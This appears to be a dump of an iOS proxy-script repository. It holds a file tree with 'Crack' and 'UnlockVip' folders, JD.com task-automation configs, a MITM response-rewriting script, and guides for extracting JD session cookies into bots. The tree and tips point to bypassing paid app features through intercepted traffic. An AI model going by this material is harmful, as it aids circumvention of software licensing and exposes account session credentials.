├── Backup
├── Env.js
├── Jd
│ ├── Task
│ │ ├── jd_cash.js
│ │ ├── jd_city.js
│ │ ├── jd_fruit.js
│ │ ├── jd_jdzz.js
│ │ ├── jd_pet.js
│ │ ├── jd_pigPet.js
│ │ ├── jd_plantBean.js
│ │ ├── jd_speed_signfaker.js
│ │ └── jd_task.json
│ ├── jd-half-rain.json
│ ├── jd-live-rain.json
│ ├── jd_cardId_export.js
│ ├── jd_cash_exchange.js
│ ├── jd_cash_reward.js
│ ├── jd_cash_wx.js
│ ├── jd_half_redrain.js
│ ├── jd_hour_redrain_local.js
│ ├── jd_live_redrain.js
│ └── sample.js
├── README.md
├── Regex.txt
├── Scriptable
│ ├── OlympicRanking.txt
│ └── youtube.txt
├── Stay
│ └── youtube.js
├── Thor.conf
├── Youth_Read.js
├── img.txt
├── jd_scripts
│ ├── JD_extra_cookie.js
│ ├── JS_USER_AGENTS.js
│ ├── USER_AGENTS.js
│ ├── activity
│ │ ├── jd_5g.js
│ │ ├── jd_818.js
│ │ ├── jd_apple_live.js
│ │ ├── jd_city.js
│ │ ├── jd_coupon.js
│ │ ├── jd_digital_floor.js
│ │ ├── jd_ds.js
│ │ ├── jd_festival.js
│ │ ├── jd_firecrackers.js
│ │ ├── jd_firecrackers2.js
│ │ ├── jd_global.js
│ │ ├── jd_global_mh.js
│ │ ├── jd_health.js
│ │ ├── jd_immortal.js
│ │ ├── jd_immortal_answer.js
│ │ ├── jd_jdh.js
│ │ ├── jd_jxd.js
│ │ ├── jd_jxstory.js
│ │ ├── jd_live_redrain.js
│ │ ├── jd_live_redrain2.js
│ │ ├── jd_mh.js
│ │ ├── jd_ms_redrain.js
│ │ ├── jd_newYearMoney.js
│ │ ├── jd_newYearMoney_lottery.js
│ │ ├── jd_nh.js
│ │ ├── jd_nian.js
│ │ ├── jd_nian_ar.js
│ │ ├── jd_nian_sign.js
│ │ ├── jd_nian_wechat.js
│ │ ├── jd_party_night.js
│ │ ├── jd_petTreasureBox.js
│ │ ├── jd_pubg.js
│ │ ├── jd_split.js
│ │ ├── jd_super_box.js
│ │ ├── jd_tcl.js
│ │ ├── jd_unbind.js
│ │ ├── jd_watch.js
│ │ ├── jd_xg.js
│ │ ├── jd_xgyl.js
│ │ ├── jr_sign.js
│ │ └── jx_sign.js
│ ├── backUp
│ │ ├── AlipayManor.js
│ │ ├── GetJdCookie.md
│ │ ├── GetJdCookie2.md
│ │ ├── TG_PUSH.md
│ │ ├── gitSync.md
│ │ ├── iCloud.md
│ │ ├── iOS_Weather_AQI_Standard.js
│ │ ├── tencentscf.md
│ │ ├── webhook.js
│ │ └── xmSports.js
│ ├── docker
│ │ ├── Dockerfile
│ │ ├── Readme.md
│ │ ├── auto_help.sh
│ │ ├── bot
│ │ │ ├── jd.png
│ │ │ ├── jd_bot
│ │ │ ├── requirements.txt
│ │ │ └── setup.py
│ │ ├── crontab_list.sh
│ │ ├── default_task.sh
│ │ ├── docker_entrypoint.sh
│ │ ├── example
│ │ │ ├── custom-append.yml
│ │ │ ├── custom-overwrite.yml
│ │ │ ├── default.yml
│ │ │ ├── docker多账户使用独立容器使用说明.md
│ │ │ ├── jd_scripts.custom-append.syno.json
│ │ │ ├── jd_scripts.custom-overwrite.syno.json
│ │ │ ├── jd_scripts.syno.json
│ │ │ └── multi.yml
│ │ ├── notify_docker_user.js
│ │ └── proc_file.sh
│ ├── getJDCookie.js
│ ├── githubAction.md
│ ├── index.js
│ ├── jdDreamFactoryShareCodes.js
│ ├── jdFactoryShareCodes.js
│ ├── jdFruitShareCodes.js
│ ├── jdJxncShareCodes.js
│ ├── jdPetShareCodes.js
│ ├── jdPlantBeanShareCodes.js
│ ├── jd_bean_change.js
│ ├── jd_bean_home.js
│ ├── jd_bean_sign.js
│ ├── jd_beauty.js
│ ├── jd_big_winner.js
│ ├── jd_blueCoin.js
│ ├── jd_bookshop.js
│ ├── jd_car.js
│ ├── jd_car_exchange.js
│ ├── jd_carnivalcity.js
│ ├── jd_cash.js
│ ├── jd_cfd.js
│ ├── jd_club_lottery.js
│ ├── jd_crazy_joy.js
│ ├── jd_crazy_joy_bonus.js
│ ├── jd_crazy_joy_coin.js
│ ├── jd_daily_egg.js
│ ├── jd_daily_lottery.js
│ ├── jd_delCoupon.js
│ ├── jd_dreamFactory.js
│ ├── jd_family.js
│ ├── jd_fruit.js
│ ├── jd_get_share_code.js
│ ├── jd_gold_creator.js
│ ├── jd_health.js
│ ├── jd_health_collect.js
│ ├── jd_jdfactory.js
│ ├── jd_jdzz.js
│ ├── jd_jin_tie.js
│ ├── jd_joy.js
│ ├── jd_joy_feedPets.js
│ ├── jd_joy_help.js
│ ├── jd_joy_reward.js
│ ├── jd_joy_run.js
│ ├── jd_joy_steal.js
│ ├── jd_jump.js
│ ├── jd_jxlhb.js
│ ├── jd_jxmc.js
│ ├── jd_jxnc.js
│ ├── jd_kd.js
│ ├── jd_live.js
│ ├── jd_live_redrain.js
│ ├── jd_lotteryMachine.js
│ ├── jd_market_lottery.js
│ ├── jd_mcxhd.js
│ ├── jd_mohe.js
│ ├── jd_moneyTree.js
│ ├── jd_ms.js
│ ├── jd_necklace.js
│ ├── jd_nzmh.js
│ ├── jd_pet.js
│ ├── jd_pigPet.js
│ ├── jd_plantBean.js
│ ├── jd_price.js
│ ├── jd_rankingList.js
│ ├── jd_redPacket.js
│ ├── jd_sgmh.js
│ ├── jd_shop.js
│ ├── jd_small_home.js
│ ├── jd_speed.js
│ ├── jd_speed_redpocke.js
│ ├── jd_speed_sign.js
│ ├── jd_star_shop.js
│ ├── jd_superMarket.js
│ ├── jd_syj.js
│ ├── jd_unsubscribe.js
│ ├── jd_xtg.js
│ ├── jd_xtg_help.js
│ ├── jd_zoo.js
│ ├── jd_zooCollect.js
│ ├── package-lock.json
│ ├── package.json
│ ├── sendNotify.js
│ ├── serverless.yml
│ ├── tencentscf.js
│ └── utils
│ │ └── jdShareCodes.js
├── source.json
├── youth.js
├── youth_gain.js
└── youthshare.js
├── Crack
├── 100.js
├── 612.js
├── Shadowpro.js
├── aa.js
├── adguard.js
├── altstore.js
├── apowersoft.js
├── appraven.js
├── apt.js
├── avatarify.js
├── b.js
├── baidulibrary.js
├── basevpnpro.js
├── bdcloud.js
├── blvip.js
├── bmhb.js
├── boom.js
├── bstarunlock.js
├── budingsuoping.js
├── bybutter.js
├── byhb.js
├── bz.js
├── caixin.js
├── caiyun.js
├── camscanner.js
├── cb.js
├── cdzs.js
├── clarity.js
├── cld.js
├── commerce.js
├── cpdq.js
├── cutisan.js
├── cx.js
├── cxzk.js
├── dayone.js
├── ddqd.js
├── documents.js
├── done.js
├── duitangpro.js
├── dxmx.js
├── egdd.js
├── elabook.js
├── emby.js
├── emmo.js
├── englishread.js
├── etsqgs.js
├── fantastical.js
├── fdds.js
├── fimo.js
├── fiton.js
├── fitplan.js
├── fly.js
├── foco.js
├── fotiaoqiang.js
├── ftchinese.js
├── hh.js
├── hulu.js
├── hyperweb.js
├── hzdgs.js
├── jabi.js
├── keep.js
├── keep_new.js
├── kpgg.js
├── ktx.js
├── ktxj.js
├── kuwo.js
├── kuwodl.js
├── kuwovip.js
├── kwbookpay.js
├── kwtingshu.js
├── lakepro.js
├── lensa.js
├── lxhealth.js
├── manhuatailite.js
├── meistertask.js
├── mix.js
├── moo.js
├── mp.js
├── mv.js
├── myxj.js
├── mzjz.js
├── nebo.js
├── nicegram.js
├── nicegram_body.js
├── nmtk.js
├── nomo.js
├── notability.js
├── notboring.js
├── pdfexpert.js
├── pdfexpert1.js
├── phoneyjgj.js
├── picsart.js
├── poh.js
├── productive.js
├── ps.js
├── psa.js
├── pushover.js
├── qc.js
├── qifu.js
├── qj.js
├── qtmusic.js
├── qzjz.js
├── qzz.js
├── rcam.js
├── reface.js
├── revenuecat.js
├── rf.js
├── rrtv.js
├── rrtv_new.js
├── rrtv_tab.js
├── rrtv_tab_home.js
├── rrtv_tab_my.js
├── sample.js
├── scannerpro.js
├── sgsz.js
├── smzs.js
├── sp.js
├── spo.js
├── sstq.js
├── supervpnpro.js
├── syjz.js
├── symbolab.js
├── tex.js
├── theme.js
├── thly.js
├── tm.js
├── topwidgets.js
├── ttjz.js
├── tutujizhang.js
├── unbind.js
├── varlens.js
├── videoleap.js
├── vm.js
├── vsco.js
├── walq.js
├── wdqd.js
├── wink.js
├── wnl.js
├── wnsm.js
├── xcx.js
├── xcz.js
├── xiaodaka.js
├── xiashivpnpro.js
├── xmind.js
├── xxys.js
├── xyjmh.js
├── yitianxiangji.js
├── yiyan.js
├── ykb.js
├── ylyk.js
├── yt.js
├── ytg.js
├── zhangshanggongjiao.js
├── ztbz.js
└── zyb.js
├── Filter
├── Emby.list
├── MyAdRule.list
├── Mybreak.list
├── NeteaseMusic.list
├── TikTok.list
└── anti-ip-attribution.list
├── Html
├── CSS
│ ├── 18comic.css
│ ├── 555.css
│ ├── bdys.css
│ ├── bimi.css
│ ├── cokemv.css
│ ├── cupbox.css
│ ├── ddrk.css
│ ├── dsx.css
│ ├── gimytv.css
│ ├── lezhu.css
│ ├── libvio.css
│ ├── pornhub.css
│ ├── qianoo.css
│ ├── tkys.css
│ └── zhenbuka.css
├── JS
│ ├── 18comic.js
│ ├── 555.js
│ ├── bdys.js
│ ├── bimi.js
│ ├── cokemv.js
│ ├── cupbox.js
│ ├── ddys.js
│ ├── dsx.js
│ ├── gimytv.js
│ ├── lezhu.js
│ ├── libvio.js
│ ├── netflix.js
│ ├── pornhub.js
│ ├── qianoo.js
│ ├── tkys.js
│ └── zhenbuka.js
├── README.md
└── WebAdBlock.conf
├── Icon
├── Netease_Music_Unlock.png
├── README.md
├── alipay.jpg
├── cmcc.png
├── debao.png
├── gt.png
├── liwo.png
├── mmjz.png
├── olympic.jpeg
├── png
│ ├── 1.PNG
│ ├── 10.PNG
│ ├── 11.PNG
│ ├── 12.PNG
│ ├── 13.PNG
│ ├── 2.PNG
│ ├── 3.PNG
│ ├── 4.PNG
│ ├── 5.PNG
│ ├── 6.PNG
│ ├── 7.PNG
│ ├── 8.PNG
│ └── 9.PNG
├── share.jpg
├── sxmd.png
├── tq.png
├── wechat.jpg
└── yu.png
├── Profile
├── Config.yaml
├── Loon.conf
├── QX_TestFlight_Update.log
├── QuantumultX.conf
├── README.md
├── Rules.conf
└── Shadowrocket.conf
├── README.md
├── Rewrite
├── AdBlock
│ ├── Applet.conf
│ ├── Bilibili.conf
│ ├── StartUp.conf
│ ├── WeChat.conf
│ ├── Weibo.conf
│ ├── WeiboLite.conf
│ ├── XiaoHongShu.conf
│ ├── Ximalaya.conf
│ └── YoutubeAds.conf
├── ForOwnUse.conf
├── Function
│ ├── BilibiliAutoRegion.conf
│ ├── Bilibili_CC.conf
│ ├── EndlessGoogle.conf
│ ├── ForceInstallTF.conf
│ ├── Geo_Services.conf
│ ├── History_price.conf
│ ├── Q-Search.conf
│ ├── TFDownload.conf
│ └── UposRedirect.conf
├── UnlockApp.conf
└── UnlockVip
│ ├── BaiduCloud.conf
│ ├── Kuwo.conf
│ ├── Notability.conf
│ ├── ParseVideo.conf
│ ├── Readdle.conf
│ ├── Rrtv.conf
│ └── Spotify.conf
├── Script
├── 60s.js
├── ForceInstall.js
├── README.md
├── ali.js
├── alidrive.js
├── bilibili_auto_region_diy.js
├── bilibili_cc.js
├── bilibili_json.js
├── bilibili_proto.js
├── bilibili_space_10.js
├── bilibili_startup_direct.js
├── block100.js
├── cmccjs.js
├── coolapk.js
├── cron_task.json
├── csdn.js
├── debao.js
├── free_app_detect.js
├── jd_json.js
├── jd_price.js
├── jianshu.js
├── keepStyle.js
├── kwyy.js
├── liwo.js
├── mmjz.js
├── pushCode.js
├── rrtv_json.js
├── setu.js
├── shuxiangmendi.js
├── spotify-proto.js
├── startup.js
├── stay.js
├── tb_price.js
├── tclx.js
├── tf.js
├── wechat_auto_read.js
├── wechatread.conf
├── weibo_json.js
├── weibo_launch.js
├── weixin110.js
├── xiaohongshu.js
└── xmly_json.js
├── Server
├── MusicServer.list
├── Netease.list
└── README.md
└── Tiktok
└── README.md
/Backup/Env.js:
--------------------------------------------------------------------------------
1 | function Env(name) {
2 | LN = typeof $loon != `undefined`
3 | SG = typeof $httpClient != `undefined` && !LN
4 | QX = typeof $task != `undefined`
5 | read = (key) => {
6 | if (LN || SG) return $persistentStore.read(key)
7 | if (QX) return $prefs.valueForKey(key)
8 | }
9 | write = (key, val) => {
10 | if (LN || SG) return $persistentStore.write(key, val);
11 | if (QX) return $prefs.setValueForKey(key, val)
12 | }
13 | notice = (title, subtitle, message, url) => {
14 | if (LN) $notification.post(title, subtitle, message, url)
15 | if (SG) $notification.post(title, subtitle, message, { url: url })
16 | if (QX) $notify(title, subtitle, message, { 'open-url': url })
17 | }
18 | get = (url, cb) => {
19 | if (LN || SG) {$httpClient.get(url, cb)}
20 | if (QX) {url.method = `GET`; $task.fetch(url).then((resp) => cb(null, {}, resp.body))}
21 | }
22 | post = (url, cb) => {
23 | if (LN || SG) {$httpClient.post(url, cb)}
24 | if (QX) {url.method = `POST`; $task.fetch(url).then((resp) => cb(null, {}, resp.body))}
25 | }
26 | toObj = (str) => JSON.parse(str)
27 | toStr = (obj) => JSON.stringify(obj)
28 | log = (message) => console.log(message)
29 | done = (value = {}) => {$done(value)}
30 | return { name, read, write, notice, get, post, toObj, toStr, log, done }
31 | }
32 |
--------------------------------------------------------------------------------
/Backup/Jd/Task/jd_task.json:
--------------------------------------------------------------------------------
1 | {
2 | "name": "JD_Task",
3 | "description": "墨鱼手记",
4 | "task": [
5 | "0 0,8,20 * * * https://gitlab.com/ddgksf2013/Cuttlefish/-/raw/master/Jd/Task/jd_cash.js, tag=签到领现金, img-url=https://raw.githubusercontent.com/58xinian/icon/master/jd_cash.png",
6 | "5 6-18/6 * * * https://gitlab.com/ddgksf2013/Cuttlefish/-/raw/master/Jd/Task/jd_fruit.js, tag=东东农场 , img-url=https://raw.githubusercontent.com/58xinian/icon/master/jdnc.png",
7 | "20 7-19/6 * * * https://gitlab.com/ddgksf2013/Cuttlefish/-/raw/master/Jd/Task/jd_pet.js, tag=东东萌宠 , img-url=https://raw.githubusercontent.com/58xinian/icon/master/jdmc.png",
8 | "10 7-21/2 * * * https://gitlab.com/ddgksf2013/Cuttlefish/-/raw/master/Jd/Task/jd_plantBean.js, tag=京东种豆得豆 , img-url=https://raw.githubusercontent.com/58xinian/icon/master/jdzd.png",
9 | "10 0 * * * https://gitlab.com/ddgksf2013/Cuttlefish/-/raw/master/Jd/Task/jd_jdzz.js, tag=京东赚赚, img-url=https://raw.githubusercontent.com/58xinian/icon/master/jdzz.png",
10 | "12 * * * * https://gitlab.com/ddgksf2013/Cuttlefish/-/raw/master/Jd/Task/jd_pigPet.js, tag=京东金融养猪猪, img-url=https://raw.githubusercontent.com/58xinian/icon/master/jdyz.png",
11 | "0 7 * * * https://gitlab.com/ddgksf2013/Cuttlefish/-/raw/master/Jd/Task/jd_speed_signfaker.js, tag=京东极速版, img-url=https://raw.githubusercontent.com/Orz-3/task/master/jd.png"
12 | ]
13 | }
14 |
--------------------------------------------------------------------------------
/Backup/Jd/jd-half-rain.json:
--------------------------------------------------------------------------------
1 | RRA3YEe4JNzkE9Pm6sc6dk3jaDkQ9vS
2 |
--------------------------------------------------------------------------------
/Backup/Jd/jd-live-rain.json:
--------------------------------------------------------------------------------
1 | RRAXkLhSKLTKz5bTNdSNM4Aanyr1P9
2 |
3 |
--------------------------------------------------------------------------------
/Backup/Jd/sample.js:
--------------------------------------------------------------------------------
1 |
2 |
--------------------------------------------------------------------------------
/Backup/README.md:
--------------------------------------------------------------------------------
1 | ### 你可能不知道的消息
2 | ## 更新时间:2022-11-01
3 |
4 | | 序号 | 内容 |
5 | | :--- |:-----|
6 | | 1 | QX打开始终开启后,便可以将其从后台划掉 |
7 | | 2 | B站看出差番,视频加载成功后,便可以将策略切换直连 |
8 | | 3 | 微信朋友圈的广告是去不掉的,除非将手机号换绑非大陆号 |
9 | | 4 | B站换区提示“策略组名未填写”,去boxjs设置 |
10 | | 5 | 用脚本听Spotify音乐,音质不能设置极高 |
11 | | 6 | B站规则解锁普通视频高码率仅适用国区粉色APP |
12 | | 7 | 抖音最新版增加了防MIMT措施,因此无法去广告 |
13 | | 8 | 如果APP开屏广告仍然存在,请卸载重装,还是不行则没有 |
14 | | 9 | 观看TikTok请使用旧版V21.1.0、重写规则,拔卡则无需旧版应用 |
15 | | 10 | IOS16天气已无法mimt,请添加-weather-data.apple.com |
16 | | 11 | QX域名类:host>host-suffix>host-keyword>ip类>geoip>final |
17 | | 12 |如果B站去广告间歇性失效,可在[filter_local]下添加ip-cidr, 203.107.1.1/24, reject |
18 | | 13 |Bilibili大会员每月可以领取5币,这个币咸鱼有人收,3元,注意不要浪费了 |
19 | | 14 | 滴答清单最新版已禁止mimt,故无法通过脚本crack(<=6.3.80) |
20 |
21 |
--------------------------------------------------------------------------------
/Backup/Scriptable/youtube.txt:
--------------------------------------------------------------------------------
1 | /*
2 | youtube后台播放小组
3 | 作者:kzddck
4 | */
5 | async function open(url){
6 | id = url.replace(“https://youtu.be/”,“”)
7 | //拼接url
8 | newurl = `https://www.youtube.com/get_video_info?video_id=${id}&html5=1`,
9 | req = new Request(newurl)
10 | res = await req.loadString()
11 | log(“res”+res)
12 | re = /player_response=.+&enablecsi/
13 | datas =unescape( res.match(re)[0].replace(‘player_response=’, ‘’).replace(‘&enablecsi’, ‘’)).replace(/\\“/g, ”‘“)
14 | //log(datas)
15 | playerResponse = JSON.parse(datas).streamingData.formats
16 | log(playerResponse)
17 | len = playerResponse.length - 1
18 | log(len)
19 | Safari.open(playerResponse[len].url)
20 | }
21 | async function getimg(url) {
22 |
23 | if(url== null){
24 | url = ’https://is3-ssl.mzstatic.com/image/thumb/Purple125/v4/84/1d/9a/841d9afa-769a-8355-5a67-3c846e6e8a92/logo_youtube_color-0-0-1x_U007emarketing-0-0-0-6-0-0-sRGB-0-0-0-GLES2_U002c0-512MB-85-220-0-0.png/460x0w.png‘
25 | req = new Request(url)
26 | img = await req.loadImage()
27 | return img
28 | }else{
29 | req = new Request(url)
30 | img = await req.loadImage()
31 | return img
32 | }
33 | }
34 |
35 |
36 | //获取粘贴板
37 | url = Pasteboard.paste()
38 | imgurl = args.widgetParameter
39 | fm = FileManager.local()
40 | try {
41 | await open(url)
42 | } catch {
43 | img = await getimg(imgurl)
44 | pic_cache_path = fm.joinPath(fm.documentsDirectory(), `youtube`)
45 | fm.writeImage(pic_cache_path, img)
46 | const widget = new ListWidget()
47 | widget.setPadding(0, 0, 0, 0)
48 | const info_stack = widget.addStack()
49 | info_stack.layoutVertically()
50 | info_stack.addSpacer()
51 | const name_stack = info_stack.addStack()
52 | info_stack.setPadding(10, 10, 5, 10)
53 | name_stack.addSpacer()
54 | widget.backgroundImage = img
55 | widget.presentSmall()
56 | Script.setWidget(widget)
57 | Script.complete()
58 | }
--------------------------------------------------------------------------------
/Backup/img.txt:
--------------------------------------------------------------------------------
1 |
2 |
--------------------------------------------------------------------------------
/Backup/jd_scripts/activity/jd_petTreasureBox.js:
--------------------------------------------------------------------------------
1 | /*
2 | 更新时间:2020-11-12
3 | 活动入口:京东APP我的-更多工具-宠汪汪
4 | 从github@Zero-S1搬的[https://github.com/Zero-S1/JD_tools/blob/master/jbp.js]
5 | 【宠汪汪聚宝盆辅助脚本】
6 | 1、进入聚宝盆,显示本轮狗粮池投入总数,方便估算
7 | 2、可能有两位数误差,影响不大
8 | 3、聚宝盆最下方显示上轮前六名的投入狗粮,收入积分,以及纯收益(即:收入积分 - 投入狗粮)
9 | new Env('聚宝盆投狗粮辅助');//此处忽略即可,为自动生成iOS端软件配置文件所需
10 | [MITM]
11 | hostname = jdjoy.jd.com,draw.jdfcloud.com
12 |
13 | ==========Surge=============
14 | [Script]
15 | 聚宝盆投狗粮辅助 = type=http-response,pattern=^https:\/\/jdjoy\.jd\.com\/pet\/getPetTreasureBox|^https:\/\/draw\.jdfcloud\.com\/\/pet\/getPetTreasureBox,requires-body=1,max-size=0,script-path=jd_petTreasureBox.js
16 |
17 | ===================Quantumult X=====================
18 | [rewrite_local]
19 | ^https:\/\/jdjoy\.jd\.com\/pet\/getPetTreasureBox|^https:\/\/draw\.jdfcloud\.com\/\/pet\/getPetTreasureBox url script-response-body jd_petTreasureBox.js
20 |
21 | =====================Loon=====================
22 | [Script]
23 | http-response ^https:\/\/jdjoy\.jd\.com\/pet\/getPetTreasureBox|^https:\/\/draw\.jdfcloud\.com\/\/pet\/getPetTreasureBox script-path=jd_petTreasureBox.js, requires-body=true, timeout=3600, tag=聚宝盆投狗粮辅助
24 |
25 | */
26 | let body = $response.body;
27 | try {
28 | body = JSON.parse(body)
29 | food = body['data']['food']
30 | function f(v) {
31 | return (v < 0) ? v : `+${v}`;
32 | }
33 | var sum = 0
34 | lastHourWinInfos = body["data"]["lastHourWinInfos"]
35 | for (var i in lastHourWinInfos) {
36 | sum += lastHourWinInfos[i]["petCoin"]
37 | }
38 | for (var i in lastHourWinInfos) {
39 | body["data"]["lastHourWinInfos"][i]["petCoin"] = `{${lastHourWinInfos[i]["food"]}} [${lastHourWinInfos[i]["petCoin"]}] (${f(lastHourWinInfos[i]["petCoin"] - lastHourWinInfos[i]["food"])}) `
40 | }
41 |
42 | body["data"]["lastHourWinInfos"].unshift({
43 | 'pin': "",
44 | 'nickName': '',
45 | 'investHour': lastHourWinInfos[0]['investHour'],
46 | 'stage': '2',
47 | 'food': 0,
48 | 'rank': 0,
49 | 'foodDif': "",
50 | 'petCoin': '{投} [收入] (纯收入)',
51 | 'userTag': "",
52 | 'win': true
53 | })
54 | lastTurnFood = parseInt(sum / 0.09 * 0.91)
55 | body['data']['food'] = `${food} (+${food - lastTurnFood})`
56 | body = JSON.stringify(body)
57 | } catch (e) {
58 | console.log(e)
59 | } finally {
60 | $done({ body })
61 | }
62 |
63 |
--------------------------------------------------------------------------------
/Backup/jd_scripts/backUp/GetJdCookie.md:
--------------------------------------------------------------------------------
1 | ## 浏览器获取京东cookie教程
2 |
3 | **以下浏览器都行**
4 |
5 | - Chrome浏览器
6 | - 新版Edge浏览器
7 | - 国产360,QQ浏览器切换到极速模式
8 |
9 | ### 操作步骤
10 |
11 | 1. 电脑浏览器打开京东网址 [https://m.jd.com/](https://m.jd.com/)
12 | 2. 按键盘F12键打开开发者工具,然后点下图中的图标
13 | 
14 | 3. 此时是未登录状态(使用手机短信验证码登录),如已登录请忽略此步骤
15 | - 使用手机短信验证码登录(此方式cookie有效时长大概31天,其他登录方式比较短)
16 | 4. 登录后,选择Network,有很多链接的话点箭头这里清空下
17 | 
18 | 5. 然后再点我的,链接就变少了
19 | 
20 | 6. 点第一个链接(log.gif)进去,找到cookie,复制出来,新建一个TXT文本临时保存一下,下面需要用到
21 | 
22 | 7. 第六步复制出来的cookie比较长,我们只需要`pt_pin=xxxx;`和 `pt_key=xxxx;`部分的内容即可(注:英文引号`;`是必要的)。可以用下面的脚本,在Chrome浏览器按F12,console里面输入下面脚本按enter回车键
23 | ```
24 | var CV = '单引号里面放第六步拿到的cookie';
25 | var CookieValue = CV.match(/pt_pin=.+?;/) + CV.match(/pt_key=.+?;/);
26 | copy(CookieValue);
27 | ```
28 | 8. 这样子整理出关键的的cookie已经在你的剪贴板上, 可直接粘贴
29 |
30 | 9. 如果需获取第二个京东账号的cookie,不要在刚才的浏览器上面退出登录账号一(否则刚才获取的cookie会失效),需另外换一个浏览器(Chrome浏览器 `ctr+shift+n` 打开无痕模式也行),然后继续按上面步骤操作即可
31 |
32 |
33 |
--------------------------------------------------------------------------------
/Backup/jd_scripts/backUp/GetJdCookie2.md:
--------------------------------------------------------------------------------
1 | ## 浏览器插件获取京东cookie教程
2 | > 此教程内容由tg用户@wukongdada提供,特此感谢
3 |
4 | **以下浏览器都行**
5 |
6 | - Chrome浏览器
7 | - 新版Edge浏览器(chrome内核)
8 |
9 | ### 操作步骤
10 |
11 | 1. 电脑浏览器打开京东网址 [https://m.jd.com/](https://m.jd.com/)
12 | 2. Chrome类浏览器安装EditThisCookie插件
13 | - Chrome插件商店搜EditThisCookie, 或者[打开此网站](https://chrome.google.com/webstore/detail/editthiscookie/fngmhnnpilhplaeedifhccceomclgfbg?utm_source=chrome-ntp-icon) 进行安装
14 | - 仅使用百分浏览器,谷歌浏览器测试过,其他谷歌类浏览器请自行测试。
15 | - 无法登录Chrome插件商店或者打不开网址建议使用edge chrome版。
16 | 3. edge chrome浏览器安装Cookie Editor插件
17 | - [edge插件商店](edge://extensions/)搜Cookie Editor,或[打开以下网址](https://microsoftedge.microsoft.com/addons/detail/cookie-editor/ajfboaconbpkglpfanbmlfgojgndmhmc?hl=zh-CN) 完成插件安装
18 | 4. 以下是chrome和edge的相关设置截图,输入的网址是 ``jd.com``
19 |
20 | 
21 |
22 | 
23 |
24 | 5. 现在点击回到京东触屏版,再点击EditThisCookie/Cookie Editor,再点击搜索,输入key或pin,如下图所示的pt_key,复制pt_key的value值。此插件可以看到cookie的有效期。
25 |
26 | 
27 |
28 | 6. 按照以下格式形成自己的jd_cookie
29 | - `pt_key=复制插件搜索出来的key值;pt_pin=复制插件搜索出来的pin值;` ,后面的英文引号`;`是必须要的
30 | - 给一个京东cookie具体示例 `pt_key=jdDC2F833333EFDGTCE5BD4AD1A952D4F4DF84A46052;pt_pin=jd_123456;`
31 |
32 | 7. 如果需获取第二个京东账号的cookie,不要在刚才的浏览器上面退出登录账号一(否则刚才获取的cookie会失效),需另外换一个浏览器(Chrome浏览器 `ctr+shift+n` 打开无痕模式也行),然后继续按上面步骤操作即可
33 |
34 |
35 |
--------------------------------------------------------------------------------
/Backup/jd_scripts/backUp/TG_PUSH.md:
--------------------------------------------------------------------------------
1 | **TG_PUSH教程**
2 |
3 | 利用Telegram机器人推送通知,需要在环境变量填入正确的```TG_BOT_TOKEN```以及```TG_USER_ID```,以下教程简明阐述如何获取token以及UserID
4 |
5 | Ⅰ.首先在Telegram上搜索[BotFather](https://t.me/BotFather)机器人
6 |
7 | 
8 |
9 | Ⅱ.利用[BotFather](https://t.me/BotFather)创建一个属于自己的通知机器人,按照下图中的1、2、3步骤拿到token,格式形如```10xxx4:AAFcqxxxxgER5uw```。填入```TG_BOT_TOKEN```
10 |
11 | 
12 |
13 | **新创建的机器人需要跟它发一条消息来开启对话,否则可能会遇到secret填对了但是收不到消息的情况**
14 |
15 | Ⅲ.再次在Telegram上搜索[getuserIDbot](https://t.me/getuserIDbot)机器人,获取UserID。填入```TG_USER_ID```
16 |
17 | 
18 |
19 | 至此,获取**TG_BOT_TOKEN**以及**TG_USER_ID**的教程结束
20 |
--------------------------------------------------------------------------------
/Backup/jd_scripts/docker/bot/jd.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/2361990/moyu/ff9c8b8433a53164e5b8a3dbdc07df57bcd0b130/Backup/jd_scripts/docker/bot/jd.png
--------------------------------------------------------------------------------
/Backup/jd_scripts/docker/bot/requirements.txt:
--------------------------------------------------------------------------------
1 | python_telegram_bot==13.0
2 | requests==2.23.0
3 | MyQR==2.3.1
4 | telegram==0.0.1
5 |
--------------------------------------------------------------------------------
/Backup/jd_scripts/docker/bot/setup.py:
--------------------------------------------------------------------------------
1 | # -*- coding: utf-8 -*-
2 | # @Author : iouAkira(lof)
3 | # @mail : e.akimoto.akira@gmail.com
4 | # @CreateTime: 2020-11-02
5 | # @UpdateTime: 2021-03-21
6 |
7 | from setuptools import setup
8 |
9 | setup(
10 | name='jd-scripts-bot',
11 | version='0.2',
12 | scripts=['jd_bot', ],
13 | )
14 |
--------------------------------------------------------------------------------
/Backup/jd_scripts/docker/docker_entrypoint.sh:
--------------------------------------------------------------------------------
1 | #!/bin/sh
2 | set -e
3 |
4 | #获取配置的自定义参数
5 | if [ -n "$1" ]; then
6 | run_cmd=$1
7 | fi
8 |
9 | (
10 | if [ -f "/scripts/logs/pull.lock" ]; then
11 | echo "存在更新锁定文件,跳过git pull操作..."
12 | else
13 | echo "设定远程仓库地址..."
14 | cd /scripts
15 | git remote set-url origin "$REPO_URL"
16 | git reset --hard
17 | echo "git pull拉取最新代码..."
18 | git -C /scripts pull --rebase
19 | echo "npm install 安装最新依赖"
20 | npm install --prefix /scripts
21 | fi
22 | ) || exit 0
23 |
24 | # 默认启动telegram交互机器人的条件
25 | # 确认容器启动时调用的docker_entrypoint.sh
26 | # 必须配置TG_BOT_TOKEN、TG_USER_ID,
27 | # 且未配置DISABLE_BOT_COMMAND禁用交互,
28 | # 且未配置自定义TG_API_HOST,因为配置了该变量,说明该容器环境可能并能科学的连到telegram服务器
29 | if [[ -n "$run_cmd" && -n "$TG_BOT_TOKEN" && -n "$TG_USER_ID" && -z "$DISABLE_BOT_COMMAND" && -z "$TG_API_HOST" ]]; then
30 | ENABLE_BOT_COMMAND=True
31 | else
32 | ENABLE_BOT_COMMAND=False
33 | fi
34 |
35 | echo "------------------------------------------------执行定时任务任务shell脚本------------------------------------------------"
36 | #测试
37 | # sh /jd_docker/docker/default_task.sh "$ENABLE_BOT_COMMAND" "$run_cmd"
38 | #合并
39 | sh /scripts/docker/default_task.sh "$ENABLE_BOT_COMMAND" "$run_cmd"
40 | echo "--------------------------------------------------默认定时任务执行完成---------------------------------------------------"
41 |
42 | if [ -n "$run_cmd" ]; then
43 | # 增加一层jd_bot指令已经正确安装成功校验
44 | # 以上条件都满足后会启动jd_bot交互,否还是按照以前的模式启动,最大程度避免现有用户改动调整
45 | if [[ "$ENABLE_BOT_COMMAND" == "True" && -f /usr/bin/jd_bot ]]; then
46 | echo "启动crontab定时任务主进程..."
47 | crond
48 | echo "启动telegram bot指令交主进程..."
49 | jd_bot
